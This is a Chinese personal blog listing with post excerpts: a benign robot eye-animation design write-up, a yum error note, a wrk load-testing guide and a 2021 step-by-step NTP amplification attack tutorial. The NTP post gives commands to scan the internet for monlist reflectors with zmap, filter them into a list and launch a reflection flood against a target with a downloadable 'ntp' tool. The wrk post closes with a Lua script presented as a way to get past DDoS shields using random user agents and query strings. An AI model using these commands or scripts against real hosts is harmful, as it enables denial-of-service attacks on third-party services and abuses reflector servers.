首页
关于道锋
友情链接
公告栏
麟图图床
麟云文件
麟云证书
BH5UVN
Search
1
使用ReDroid打造自己的云手机
5,065 阅读
2
Cloudflare SAAS 接入自选教程
2,774 阅读
3
CloudFront CDN配置教程
2,347 阅读
4
Frpc使用XTCP不通过服务器传输
2,206 阅读
5
兽装曲腿制作文档
2,205 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
登录
Search
标签搜索
开源
源码
教程
服务器
环境搭建
摄影
rustlang
Rust
VS CODE
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
447
篇文章
累计收到
129
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
页面
关于道锋
友情链接
公告栏
友人
iMin博客
特资啦!个人资源分享站
三石的记录
咬一口激动的鱼
中二病晚期の物語
奇梦博客
布丁の小窝
道麟笔记
迷失的小K
koto's Site
西西のBlog
锐冰龙小站
Nick的琐碎日常
渣渣120
猎空のBlog“
Suntの小破站
BG5VXJ-无线电
Abyss博客
麟图图床
麟云文件
麟云证书
BH5UVN
搜索到
7
篇与
的结果
2025-07-11
双眼动画路径生成:从物理模拟到串口通信的完整解决方案
双眼动画系统的实现:从物理模拟到串口通信的完整解决方案最近在做一个机器人眼睛动画项目,需要实现逼真的眼球运动和眨眼效果。经过一段时间的开发,完成了一个基于多线程的眼睛动画系统,支持实时的眼球运动模拟、自然的眨眼动画,以及通过串口与硬件设备进行通信。项目代码已经开源在 GitHub,这篇文章详细分析一下其中的技术实现。系统架构设计整个系统采用了三线程架构:一个动画更新线程负责核心的眼球运动和眨眼逻辑计算,两个输出线程分别处理左右眼的数据发送。这种设计的好处是将计算逻辑和I/O操作解耦,确保动画计算的稳定性不受串口通信延迟的影响。// 系统核心结构 typedef struct { float eyeOldX, eyeOldY; // 当前位置 float eyeNewX, eyeNewY; // 目标位置 bool inMotion; // 运动状态 uint32_t moveStartTimeMs; // 运动开始时间 uint32_t moveDurationMs; // 运动持续时间 BlinkState blinkState; // 眨眼状态 float eyeOpenness; // 眼睛开合度 } EyeState;使用了一个共享的EyeState结构体来维护眼睛的完整状态,通过std::mutex保护多线程访问,确保数据一致性。眼球运动算法实现眼球运动的核心思路是模拟人类眼球的真实运动模式:大幅度的跳跃式移动(扫视)和小幅度的微调(微眼跳)。算法设计了一个状态机来控制这两种运动模式的切换。路径生成的数学基础在深入具体算法之前,先要理解整个坐标系统的设计。系统使用了一个以MAP_RADIUS为半径的圆形映射区域,其中MAP_RADIUS = 240像素。这个设计的巧妙之处在于:#define SCREEN_WIDTH 240 #define SCREEN_HEIGHT 240 #define MAP_RADIUS 240实际的可视区域被限制在一个更小的圆形范围内,计算公式为:float effective_radius = (MAP_RADIUS * 2 - SCREEN_WIDTH * M_PI_2) * scale_factor;这里的M_PI_2(π/2)是一个关键的修正因子,它考虑了从方形屏幕到圆形映射的几何变换。通过这种方式,我们可以确保生成的所有眼球位置都在有效的显示范围内,避免眼球"跑出屏幕"的情况。扫视运动(Saccadic Movement)的路径生成扫视是眼球的主要运动模式,特点是快速、大幅度的跳跃。路径生成算法采用了极坐标到直角坐标的转换方法,但用了一种更高效的实现:// 扫视运动的有效半径计算 float r = (MAP_RADIUS * 2 - SCREEN_WIDTH * M_PI_2) * 0.75f; // 首先在X轴上随机选择位置 float relativeX = random_float(-r, r); // 根据圆的方程计算Y轴的最大范围 float maxY = sqrtf(r * r - relativeX * relativeX); float relativeY = random_float(-maxY, maxY); // 转换为绝对坐标 state->eyeNewX = MAP_RADIUS + relativeX; state->eyeNewY = MAP_RADIUS + relativeY;这个算法的核心是圆的方程:x² + y² = r²。给定X坐标后,Y坐标的取值范围就确定了:y = ±√(r² - x²)。这种方法比传统的极坐标转换(x = r*cos(θ), y = r*sin(θ))更高效,因为避免了三角函数的计算。扫视运动的scale_factor = 0.75f意味着眼球的扫视范围被限制在理论最大范围的75%内,这样可以留出一些边界缓冲,让运动看起来更自然。运动持续时间设置为83-166毫秒,这个数值是基于人眼扫视的生理特性确定的:人类的快速扫视通常在50-200毫秒之间完成。微眼跳(Microsaccade)的增量路径算法微眼跳采用了完全不同的路径生成策略——增量式生成。与扫视的绝对位置生成不同,微眼跳是基于当前位置的相对偏移:// 微眼跳的范围计算(约为扫视范围的1/10) float r = (MAP_RADIUS * 2 - SCREEN_WIDTH * M_PI_2) * 0.07f; // 生成相对于当前位置的偏移量 float dx = random_float(-r, r); float h = sqrtf(r * r - dx * dx); float dy = random_float(-h, h); // 应用偏移到当前位置 state->eyeNewX = state->eyeOldX + dx; state->eyeNewY = state->eyeOldY + dy;这种设计的优势是微眼跳不会让眼球产生大幅度的"跳跃感",而是在当前注视点附近进行微小的调整。0.07的缩放因子意味着微眼跳的范围约为扫视范围的1/10,持续时间也更短(7-25毫秒),这完全符合人眼微眼跳的生理特征。运动状态机的路径决策逻辑路径生成的决策逻辑通过一个复杂的状态机实现,它需要在扫视和微眼跳之间做出智能选择:if ((t - state->lastSaccadeStopMs) > state->saccadeIntervalMs) { // 执行扫视运动 // ... 扫视路径生成代码 state->moveDurationMs = random_range(83, 166); state->saccadeIntervalMs = 0; // 标记需要重新计算下次扫视间隔 } else { // 执行微眼跳 // ... 微眼跳路径生成代码 state->moveDurationMs = random_range(7, 25); }这里的关键是saccadeIntervalMs的动态计算。每次扫视结束后,系统会根据当前的凝视缩放因子重新计算下次扫视的间隔时间:uint32_t scaledMaxGazeMs = static_cast<uint32_t>(maxGazeMs * gazeScaleFactor); state->saccadeIntervalMs = random_range(state->moveDurationMs, scaledMaxGazeMs);这种设计让眼球的运动模式更加自然:在大部分时间里进行微小的微眼跳调整,偶尔进行大幅度的扫视运动。运动插值的数学模型为了让眼球运动更加平滑,系统使用了一个特殊的缓动函数进行路径插值:float e = (float)dt / (float)scaledDurationMs; // 线性进度 [0, 1] float e2 = e * e; // e的平方 e = e2 * (3.0f - 2.0f * e); // 平滑步函数: 3e² - 2e³这个函数被称为"平滑步函数"(smoothstep),它的数学表达式是f(t) = 3t² - 2t³。这个函数有几个重要特性:f(0) = 0, f(1) = 1:确保插值在正确的边界f'(0) = 0, f'(1) = 0:保证运动开始和结束时速度为零中间段的导数为正:确保单调递增相比线性插值,这种缓动函数让眼球运动具有"加速-匀速-减速"的特征,更符合人眼的运动模式。边界检测和约束处理虽然路径生成算法理论上会保证所有点都在有效范围内,但在实际实现中,还是需要考虑边界情况的处理。特别是在微眼跳的增量计算中,当前位置靠近边界时,简单的偏移可能会导致越界。代码中通过预先计算有效半径的方式来避免这个问题,但在更复杂的应用场景中,可能需要额外的边界检测和坐标钳制逻辑:// 理论上需要的边界检测(当前代码中通过预计算避免了这个问题) float clamp_to_circle(float x, float y, float center_x, float center_y, float radius) { float dx = x - center_x; float dy = y - center_y; float distance = sqrtf(dx*dx + dy*dy); if (distance > radius) { float scale = radius / distance; return {center_x + dx*scale, center_y + dy*scale}; } return {x, y}; }参数化控制对路径生成的影响用户可调节的参数对路径生成有直接影响:凝视缩放因子(gazeScaleFactor):影响扫视的触发频率,值越大,扫视间隔越长移动速度因子(moveSpeedFactor):通过除法运算延长运动持续时间,从而减慢运动速度// 速度控制的实现 uint32_t scaledDurationMs = static_cast<uint32_t>(state->moveDurationMs / moveSpeedFactor);这种参数化设计让同一套路径生成算法可以适应不同的应用需求,从慢速的冥想状态到快速的警觉状态都能很好地模拟。眨眼动画系统眨眼动画采用了状态机模式,包含三个状态:未眨眼、闭合中、打开中。这种设计可以精确控制眨眼的每个阶段,实现更自然的效果。typedef enum { NOT_BLINKING = 0, BLINK_CLOSING = 1, BLINK_OPENING = 2 } BlinkState;眨眼的触发机制采用了随机间隔,基础间隔为2-6秒,这个数值参考了人类的平均眨眼频率。眨眼动作的持续时间分为两个阶段:闭合阶段50-100毫秒,打开阶段是闭合阶段的2倍,这样可以模拟真实眨眼的不对称特性。参数化控制系统为了让系统更加灵活,设计了一套完整的参数化控制系统。用户可以通过命令行参数调整各种行为:--gazescale: 控制凝视时间,值越大眼睛移动频率越低--movespeed: 控制眼球移动速度,值越小移动越慢--blinkfreq: 控制眨眼频率,值越小眨眼越少--blinkspeed: 控制眨眼速度,值越小眨眼动作越慢这些参数通过乘法因子的方式应用到相应的计算中,比如移动速度的控制:uint32_t scaledDurationMs = static_cast<uint32_t>(state->moveDurationMs / moveSpeedFactor);串口通信协议系统使用JSON格式进行数据传输,这样既保证了数据的结构化,又具有很好的可读性和扩展性。数据包格式如下:{ "req": "c", "d": { "x": 0.25, "y": -0.33, "l": 0.95 } }其中req字段表示请求类型,d字段包含实际的眼睛数据。坐标系统使用了归一化的浮点数,范围从-1.0到1.0,中心点为(0,0)。这种设计的好处是与具体的硬件分辨率无关,接收端可以根据自己的需要进行缩放。串口配置采用了115200波特率,8位数据位,无校验位,1个停止位。为了提高通信的可靠性,在串口初始化时禁用了各种流控制和特殊字符处理:tty.c_cflag &= ~CRTSCTS; // 禁用硬件流控制 tty.c_iflag &= ~(IXON | IXOFF | IXANY); // 禁用软件流控制 tty.c_lflag &= ~(ECHO | ECHONL | ICANON | ISIG | IEXTEN); // 禁用规范模式时间管理和同步系统使用了clock_gettime(CLOCK_MONOTONIC)来获取高精度的时间戳,这比gettimeofday()更适合做时间间隔计算,因为它不受系统时间调整的影响。帧率控制采用了固定时间步长的方式,设定为40fps(25ms每帧)。这个频率对于眼球动画来说已经足够流畅,同时也不会给系统带来过大的负担:#define FPS 40 #define FRAME_DURATION_MS (1000 / FPS) uint32_t frameDuration = get_time_ms() - frameStart; if (frameDuration < FRAME_DURATION_MS) { delay_ms(FRAME_DURATION_MS - frameDuration); }错误处理和容错机制在串口通信方面,实现了比较完善的错误处理机制。当写入失败时,系统会尝试重新建立连接,这对于长时间运行的设备来说非常重要:if (bytes_written < 0) { close(fd); fd = setup_serial_port(port_name, BAUD_RATE); if (fd < 0) { std::cerr << eye_name << "重新连接串口失败,线程退出" << std::endl; break; } }同时,系统还实现了优雅的退出机制,通过信号处理函数捕获Ctrl+C和SIGTERM信号,确保所有线程能够正常退出并释放资源。性能优化考虑在多线程设计中,为了减少锁竞争,动画更新线程和数据发送线程的工作频率是一致的,都是40fps。数据发送线程每次都会完整复制一份眼睛状态,这样可以最小化临界区的大小。另外,所有的浮点数计算都使用了单精度float,这在保证精度的同时也提供了更好的性能。对于眼球动画这样的应用场景,单精度的精度已经完全足够。扩展性设计系统的设计考虑了很好的扩展性。比如左右眼交换功能的实现,通过一个简单的布尔值就可以改变数据的发送目标,这对于一些特殊的硬件配置很有用。数据格式的设计也很灵活,JSON格式可以很容易地添加新的字段,比如瞳孔大小、眼睛颜色等。坐标系统的归一化设计也使得系统可以适应不同分辨率的显示设备。总结这个眼睛动画系统在技术上实现了几个关键点:基于生理学原理的运动模型、稳定的多线程架构、灵活的参数化控制、可靠的串口通信。整个系统的代码结构清晰,模块化程度高,既可以作为独立的眼睛动画服务使用,也可以很容易地集成到其他机器人项目中。从开发的角度来看,这个项目涉及了实时系统设计、数值计算、串口通信、多线程编程等多个技术领域,是一个很好的综合性项目。如果你对机器人动画或者实时系统开发感兴趣,可以从这个项目中学到不少东西。完整的源代码和详细的使用说明都可以在 GitHub仓库 中找到,欢迎大家fork和提issue讨论。
2025年07月11日
11 阅读
0 评论
0 点赞
2023-06-28
关于CRITICAL:yum.cli的一个解决方法记录
关于CRITICAL:yum.cli:Config error: Error accessing file for config file:///etc/yum.conf /usr/lib64/python2.7/site-packages/pycurl.so: undefined symbol: CRYPTO_num_locks 的解决记录
2023年06月28日
526 阅读
2 评论
2 点赞
2021-10-07
NTP放大反射攻击扫描列表教程
1.升级所有包,改变软件设置和系统设置,系统版本内核都升级yum -y update2.下载rpm包(区分centos6 与centos7 执行不同的命令)centos6:wget http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm sudo rpm -Uvh epel-release-6-8.noarch.rpmcentos7:wget http://mirror.centos.org/centos/7/extras/x86_64/Packages/epel-release-7-11.noarch.rpm sudo rpm -Uvh epel-release-7-11.noarch.rpm3.安装必要的依赖环境yum install gcc libcap libpcap libpcap-devel screen php dstat cmake gmp gmp-devel gengetopt byacc flex git json-c zmap --------------------------------------------扫描过滤列表-----------------------------------------------4.安装Zmapwget https://github.com/zmap/zmap/archive/v1.0.3.tar.gz tar -zxvf v1.0.3.tar.gz cd /root/zmap-1.0.3 cd src/ make make install如果前一步ZMap已经安装完成,可以跳过步骤4:zmap -p 80 -N 10 -B 1M -o - #很快,程序会输出10个Internet上打开了80端口的主机的IP,你也可以换成22端口23端口试试。具体的用法可以参考ZMap官方文档。5.开始扫描NTP放大列表screen zmap -p 123 -M udp --probe-args=file:/root/ntp_123_monlist.pkt -o monlist_fingerprint.txt 如果在扫描时,你与服务器的会话不小心中断。 你可以重新连接服务器。 使用命令screen -r回到会话。 screen是将程序独立运行在后台,直到执行完成。6.过滤列表chmod 777 ntpchecker #添加权限 screen ./ntpchecker monlist_fingerprint.txt step1.txt 1 0 1 #运行检查 awk '$2>419{print $1}' step1.txt | sort -n | uniq | sort -R > ntpamp.txt #过滤列表--------------------------------------------放大攻击-----------------------------------------------7.攻击命令chmod 777 ntp #赋予权限 ./ntp 127.0.0.1 80 ntpamp.txt 100 -1 100 下载库:ntp_2下载
2021年10月07日
1,067 阅读
0 评论
0 点赞
2021-01-30
Http压测工具wrk安装与分享
之前很长一段时间都在使用apachebench 俗称ab 但是用着用着,就觉得可玩性有点不足,尤其是在自定义这方面上。偶然间看到这款WRK压测工具wrk 的一个很好的特性就是能用很少的线程压出很大的并发量, 原因是它使用了一些操作系统特定的高性能 I/O 机制, 比如 select, epoll, kqueue 等。 其实它是复用了 redis 的 ae 异步事件驱动框架. 确切的说 ae 事件驱动框架并不是 redis 发明的, 它来至于 Tcl的解释器 jim, 这个小巧高效的框架, 因为被 redis 采用而更多的被大家所熟知.安装wrk支持大多数类UNIX系统,不支持windows。需要操作系统支持LuaJIT和OpenSSL,不过不用担心,大多数类Unix系统都支持。安装wrk非常简单,只要从github上下载wrk源码,在项目路径下执行make命令即可。wrk GitHub 源码:https://github.com/wg/wrkwrk只能运行于 Unix 类的系统上,也只能在这些系统上跑必备条件:1.软件包:gcc g++ make build-essential等(具体视系统而定)安装好了这些软件包后,进入源码目录git clone https://github.com/wg/wrk.git cd wrk make -j4(可选多线程)编译完成之后,目录下面会多一个 wrk 的文件。使用以下命令来测试一下:./wrk -c 1 -t 1 -d 1 http://www.baidu.com基本使用命令行敲下wrk,可以看到使用帮助Usage: wrk <options> <url> Options: -c, --connections <N> Connections to keep open -d, --duration <T> Duration of test -t, --threads <N> Number of threads to use -s, --script <S> Load Lua script file -H, --header <H> Add header to request --latency Print latency statistics --timeout <T> Socket/request timeout -v, --version Print version details Numeric arguments may include a SI unit (1k, 1M, 1G) Time arguments may include a time unit (2s, 2m, 2h)简单翻成中文:使用方法: wrk <选项> <被测HTTP服务的URL> Options: -c, --connections <N> 跟服务器建立并保持的TCP连接数量 -d, --duration <T> 压测时间 -t, --threads <N> 使用多少个线程进行压测 -s, --script <S> 指定Lua脚本路径 -H, --header <H> 为每一个HTTP请求添加HTTP头 --latency 在压测结束后,打印延迟统计信息 --timeout <T> 超时时间 -v, --version 打印正在使用的wrk的详细版本信息 <N>代表数字参数,支持国际单位 (1k, 1M, 1G) <T>代表时间参数,支持时间单位 (2s, 2m, 2h)测试1数据非常的明了测试2使用24线程 6000个链接,在海外G口机器上,使用随机脚本,达到了20WQPS的峰值数据(实际上约合10W)使用Lua脚本个性化wrk压测以上两节安装并简单使用了wrk,但这种简单的压测可能不能满足我们的需求。比如我们可能需要使用POST METHOD跟服务器交互;可能需要为每一次请求使用不同的参数,以更好的模拟服务的实际使用场景等。wrk支持用户使用--script指定Lua脚本,来定制压测过程,满足个性化需求。介绍wrk对Lua脚本的支持wrk支持在三个阶段对压测进行个性化,分别是启动阶段、运行阶段和结束阶段。每个测试线程,都拥有独立的Lua运行环境。启动阶段function setup(thread)在脚本文件中实现setup方法,wrk就会在测试线程已经初始化但还没有启动的时候调用该方法。wrk会为每一个测试线程调用一次setup方法,并传入代表测试线程的对象thread作为参数。setup方法中可操作该thread对象,获取信息、存储信息、甚至关闭该线程。thread.addr - get or set the thread's server address thread:get(name) - get the value of a global in the thread's env thread:set(name, value) - set the value of a global in the thread's env thread:stop() - stop the thread运行阶段function init(args) function delay() function request() function response(status, headers, body)init由测试线程调用,只会在进入运行阶段时,调用一次。支持从启动wrk的命令中,获取命令行参数;delay在每次发送request之前调用,如果需要delay,那么delay相应时间;request用来生成请求;每一次请求都会调用该方法,所以注意不要在该方法中做耗时的操作;reponse在每次收到一个响应时调用;为提升性能,如果没有定义该方法,那么wrk不会解析headers和body;结束阶段function done(summary, latency, requests)该方法在整个测试过程中只会调用一次,可从参数给定的对象中,获取压测结果,生成定制化的测试报告。自定义脚本中可访问的变量和方法变量:wrk wrk = { scheme = "http", host = "localhost", port = nil, method = "GET", path = "/", headers = {}, body = nil, thread = <userdata>, }一个table类型的变量wrk,是全局变量,修改该table,会影响所有请求。方法:wrk.fomat wrk.lookup wrk.connect function wrk.format(method, path, headers, body) wrk.format returns a HTTP request string containing the passed parameters merged with values from the wrk table. 根据参数和全局变量wrk,生成一个HTTP rquest string。 function wrk.lookup(host, service) wrk.lookup returns a table containing all known addresses for the host and service pair. This corresponds to the POSIX getaddrinfo() function. 给定host和service(port/well known service name),返回所有可用的服务器地址信息。 function wrk.connect(addr) wrk.connect returns true if the address can be connected to, otherwise it returns false. The address must be one returned from wrk.lookup(). 测试与给定的服务器地址信息是否可以成功创建连接示例使用POST METHODwrk.method = "POST" wrk.body = "foo=bar&baz=quux" wrk.headers["Content-Type"] = "application/x-www-form-urlencoded"通过修改全局变量wrk,使得所有请求都使用POST方法,并指定了body和Content-Type头。为每次request更换一个参数request = function() uid = math.random(1, 10000000) path = "/test?uid=" .. uid return wrk.format(nil, path) end通过在request方法中随机生成1~10000000之间的uid,使得请求中的uid参数随机。每次请求之前延迟10msfunction delay() return 10 end每个线程要先进行认证,认证之后获取token以进行压测token = nil path = "/authenticate" request = function() return wrk.format("GET", path) end response = function(status, headers, body) if not token and status == 200 then token = headers["X-Token"] path = "/resource" wrk.headers["X-Token"] = token end end在没有token的情况下,先访问/authenticate认证。认证成功后,读取token并替换path为/resource。压测支持HTTP pipeline的服务init = function(args) local r = {} r[1] = wrk.format(nil, "/?foo") r[2] = wrk.format(nil, "/?bar") r[3] = wrk.format(nil, "/?baz") req = table.concat(r) end request = function() return req end通过在init方法中将三个HTTP request请求拼接在一起,实现每次发送三个请求,以使用HTTP pipeline附赠可用作变参破盾的脚本:wrk.method = "GET" --请求模式 radua = 1 -- 是否启用随机ua数据 1为开,其他均为关 radque = 1 -- 是否启用随机查询数据 1为开,其他均为关 uri = "/?p="--随机查询数据uri关键 仅仅在radque=1的时候生效 quemax = 100000 --最大随机查询生成大小 仅仅在radque=1的时候生效 --随机ua列表开始 ua = { "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60", "Opera/8.0 (Windows NT 5.1; U; en)", "Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.50", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0", "Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11", "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 SE 2.X MetaSr 1.0", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.3.4000 Chrome/30.0.1599.101 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 UBrowser/4.0.3214.0 Safari/537.36", "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5", "Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5", "Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5", "Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5", "Mozilla/5.0 (Linux; U; Android 2.2.1; zh-cn; HTC_Wildfire_A3333 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", "Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", "MQQBrowser/26 Mozilla/5.0 (Linux; U; Android 2.3.7; zh-cn; MB200 Build/GRJ22; CyanogenMod-7) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", "Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10", "Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13", "Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+", "Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.0; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 TouchPad/1.0", "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/20.0.019; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) BrowserNG/7.1.18124", "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; HTC; Titan)", "UCWEB7.0.2.37/28/999", "NOKIA5700/ UCWEB7.0.2.37/28/999", "Openwave/ UCWEB7.0.2.37/28/999", "Mozilla/4.0 (compatible; MSIE 6.0; ) Opera/UCWEB7.0.2.37/28/999", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1", "Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6", "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5", "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24", "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24", "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)", "Sogou inst spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)", "Sogou News Spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)", "Sogou Pic Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)", "Sogou Video Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)", "Mozilla/5.0 (compatible; Bytespider; https://zhanzhang.toutiao.com/) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36", "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)", "Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Version/7.0 Mobile 